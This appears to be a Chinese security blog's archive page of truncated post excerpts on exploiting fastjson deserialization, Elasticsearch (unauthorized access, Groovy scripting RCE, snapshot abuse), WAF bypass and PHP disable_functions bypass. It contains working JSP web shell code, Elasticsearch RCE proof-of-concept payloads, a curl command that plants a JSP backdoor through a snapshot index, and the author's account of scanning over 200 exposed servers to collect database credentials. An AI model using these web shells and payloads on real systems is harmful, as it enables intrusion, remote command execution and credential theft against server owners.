2017-03-18 16:40:41

fastjson 远程代码执行漏洞

最近发现fastjson在1.2.24以及之前版本存在远程代码执行高危安全漏洞,为了保证系统安全,请升级到1.2.28/1.2.29或者更新版本。 官方公告:https://github.com/alibaba/fastjson/wiki/security_update_20170315 这个可能存在的远程代码执行漏洞产生的原因是fastjson反序列化json字符串为java对象的时候autoType没有正确的检测处理。 参照:https://github.com/alibaba/fastjson/commit/d52085ef54b32dfd963186e583cbcdfff5d101b5 触发漏洞需要构造一个特殊的json对象,这种应用场景多出现在C/S接口交互。公告中说道:"安全升级包禁用了部分autotype的功能,也就是"@type"这种指定类型的功能会被限制在一定范围内使用。" 当反序列化一个特殊的json字符串为java对象时可以实例化”任意“(有几个类如Thread在黑名单除外)的java对象并调用部分的java方法。 比如序列号如下json字符串(键包含了"@type" JsonTypeInfo类中的注解)时,fastjson会创建一个java对象实例: String json = "{\&q

2015-11-30 10:04:26

multipart/form-data PHP和Java通用的WAF绕过方法

依旧是multipart/form-data,去年的时候说道了利用PHP的特性去绕过WAF.轻松绕各种WAF的POST注入、跨站防御(比如安全狗) 原文简单的描述了PHP在处理POST请求的时候会解析multipart/form-data的内容。 那么这个multipart/form-data到底是个啥呢? 大概长成上面这样.HTML代码就更加简单了: <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /> <title>yzmm - p2j.cn</title> </head> <body>   <form action="http://192.168.199.151/index.php" method="POST" enctype="multipart/form-data">        File:<input type="file" name="file" />

2015-08-05 13:23:52

2015-07-08 11:00:41

elasticsearch Snapshot And Restore缺陷利用

elasticsearch服务普遍存在一个未授权访问的问题,攻击者通常可以请求一个开放9200或9300的服务器进行恶意攻击。 基础信息: 可以查看es节点信息,包括安装目录:http://localhost:9200/_nodes 未授权访问的elasticsearch(事实上绝大多数都没做访问授权)备份数据的时候存在一些小缺陷,可以用来进一步的获取权限。 参考es官方的索引快找和恢复文档(Snapshot And Restore): http://www.elastic.co/guide/en/elasticsearch/reference/current/modules-snapshots.html#_snapshot 大概意思是说: 快照和恢复模块可以创建单独的索引或整个集群索引的快照到远程仓库。最初的es只提供了把数据备份到共享文件系统,但是现在的es可以通过官方的后端插件备份。 首先创建一份恶意的索引文档(key为jsp一句话后门): curl -XPOST http://localhost:9200/yz.jsp/yz.jsp/1 -d' {"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,10

2015-05-10 19:46:51

elasticsearch 未授权访问-数据库配置信息泄漏

elasticsearch在安装了river之后可以同步多种数据库数据(包括关系型的mysql、mongodb等) 安装过程看这里:https://github.com/jprante/elasticsearch-jdbc 那么怎么知道别人是不是在用elasticsearch的river呢? http://localhost:9200/_cat/indices里面的indices包含了_river一般就是了。 查看river详细信息: jdbc: { url: "jdbc:mysql://localhost:3306/库名", user: "root", password: "密码", sql: "select * from 表" } 我试了下 嗯,不错 跑了200多个配置了_river的IP,mysql、mongodb,redis比较多

2015-03-05 10:02:24

elasticsearch scripting security issues

elasticsearch scripting: http://www.elasticsearch.org/guide/en/elasticsearch/reference/current/modules-scripting.html security issues: http://www.elasticsearch.org/community/security/ http://mp.weixin.qq.com/s?__biz=MjM5OTk2MTMxOQ==&mid=202983721&idx=1&sn=bde079dcee38c4c655e920cbcc78c6e8&scene=0 POC: Math.class.forName(\"java.lang.Runtime\").getRuntime().exec(\"whoami\").getText() super.class.toString().valueOf('whoami').execute().getText() http://zone.wooyun.org/content/18915 {"size":1,"script_fields": {"iswin": {&quo

2015-01-27 11:32:49

[zone] JavaScript 获取客户端内网IP和外网IP(STUN)

FROM:http://zone.wooyun.org/content/18274 from:https://github.com/diafygi/webrtc-ips Firefox 跟 Chrome支持WebRTC可以向STUN服务器请求,返回内外网IP,不同于XMLHttpRequest请求,STUN请求开发者工具当中看不到网络请求的。 测试链接 //get the IP addresses associated with an account function getIPs(callback){ var ip_dups = {}; //compatibility for firefox and chrome var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; var mediaConstraints = { optional: [{RtpDataChannels: true}] }; //firefox already has a default stun server in about:config

2014-12-17 17:26:14

jsp小后门

一:执行系统命令: 无回显执行系统命令: <%Runtime.getRuntime().exec(request.getParameter("i"));%> 请求:http://192.168.16.240:8080/Shell/cmd2.jsp?i=ls 执行之后不会有任何回显,用来反弹个shell很方便。 有回显带密码验证的: <% if("023".equals(request.getParameter("pwd"))){ java.io.InputStream in = Runtime.getRuntime().exec(request.getParameter("i")).getInputStream(); int a = -1; byte[] b = new byte[2048]; out.print(" "); while((a=in.read(b))!=-1){ out.println(new String(b,0,a)); } out.print(" "); } %> 请求:http://192.168.16.240:8080/Shell/cmd2.jsp?pwd=023&i=

2014-11-24 11:21:14

[zone-phith0n]PHP 绕过Disable_functions执行命令

FROM:http://zone.wooyun.org/content/16631 先简单说一下php调用mail()函数的过程。 看到源码ext/mail.c 236行: char *sendmail_path = INI_STR("sendmail_path"); char *sendmail_cmd = NULL; 从INI中获得sendmail_path变量。我们看看php.ini里是怎么说明的: ; For Unix only. You may supply arguments as well (default: "sendmail -t -i"). ;sendmail_path = 注释中可以看到,send_mail默认值为"sendmail -t -i". extra_cmd(用户传入的一些额外参数)存在的时候,调用spprintf将sendmail_path和extra_cmd组合成真正执行的命令行sendmail_cmd 。不存在则直接将sendmail_path赋值给sendmail_cmd 。 如下: if (!sendmail_path) { #if (defined PHP_WIN32 || defined NETWARE) /* handle old style win smt

2014-05-22 21:11:24

[更新]Elasticsearch 代码执行漏洞利用工具

更新地址:Elasticsearch_1.2.jar 命令参数忘记编码了,导致不能执行多参数已修复了。修改了超时为10秒、异常情况直接输出页面源码。 1、ElasticSearch是一个基于Lucene构建的开源,分布式,RESTful搜索引擎。设计用于云计算中,能够达到实时搜索,稳定,可靠,快速,安装使用方便。 2、Lucene是apache软件基金会4 jakarta项目组的一个子项目,是一个开放源代码的全文检索引擎工具包 这个漏洞如果被利用可直接在服务器端执行任意的java代码,ElasticSearch基本都部署在大型集群环境中危害非常的大。 查看状态:http://xxxx:9200/_status 集群健康报告:http://xxxx:9200/_cluster/health 集群节点信息:http://xxxx:9200/_nodes 下载地址:Elasticsearch_fat.jar 相关:http://bouk.co/blog/elasticsearch-rce/、http://wooyun.org/bugs/wooyun-2014-061672 家里交不起网费了,如果工具有bug利用下面的代码就没什么问题了。 利用代码: http://xxx.com:9200/_search?source={%22size%22:1,%22query%22:{%22filt